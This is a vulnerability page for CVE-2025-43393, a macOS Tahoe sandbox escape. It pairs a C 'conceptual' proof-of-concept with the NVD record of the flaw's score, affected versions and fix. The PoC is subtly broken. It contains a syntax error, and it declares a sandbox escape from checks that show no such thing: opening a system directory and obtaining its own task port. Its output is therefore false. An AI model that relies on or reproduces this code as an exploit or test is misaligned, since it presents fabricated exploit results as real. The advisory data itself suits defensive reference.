CVE-2025-43393

// CVE-2025-43393 macOS Sandbox Escape PoC (Conceptual) // Note: This is a theoretical PoC for educational purposes only // Actual exploitation requires specific macOS version and conditions #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <mach/mach.h> #include <sandbox.h> int main() { printf("CVE-2025-43393 macOS Sandbox Escape PoC\n"); printf("Target: macOS Tahoe < 26.1\n\n"); // Check if running in sandbox char *error = sandbox inspect_self(NULL); if (error == NULL) { printf("[+] Running in sandbox - attempting escape\n"); // Attempt to access restricted resources // In actual exploit, specific syscalls would be used // Example: Attempt to access arbitrary file path const char *restricted_path = "/System/Library/Sandbox/Profiles"; FILE *fp = fopen(restricted_path, "r"); if (fp != NULL) { printf("[!] Sandbox escape successful - accessed restricted path\n"); fclose(fp); return 1; } else { printf("[-] Access denied (expected in patched version)\n"); } // Attempt to escape sandbox via IPC manipulation mach_port_t task_port; if (task_for_pid(mach_task_self(), getpid(), &task_port) == KERN_SUCCESS) { printf("[!] Obtained task port - sandbox escaped\n"); return 1; } } else { printf("[-] Not running in sandbox or sandbox check failed\n"); } printf("\n[*] PoC completed. Apply macOS Tahoe 26.1 or later\n"); return 0; } // Usage: // 1. Compile: gcc cve-2025-43393-poc.c -o poc -framework sandbox // 2. Run in sandboxed environment // 3. Verify access to restricted resources // Mitigation: // Upgrade to macOS Tahoe 26.1 or later

{"cve": {"id": "CVE-2025-43393", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:53.713", "lastModified": "2025-12-15T22:03:07.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Tahoe 26.1. An app may be able to break out of its sandbox."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.0, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.0, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "081B6CCE-FFA4-409C-9353-15014F3AF436"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}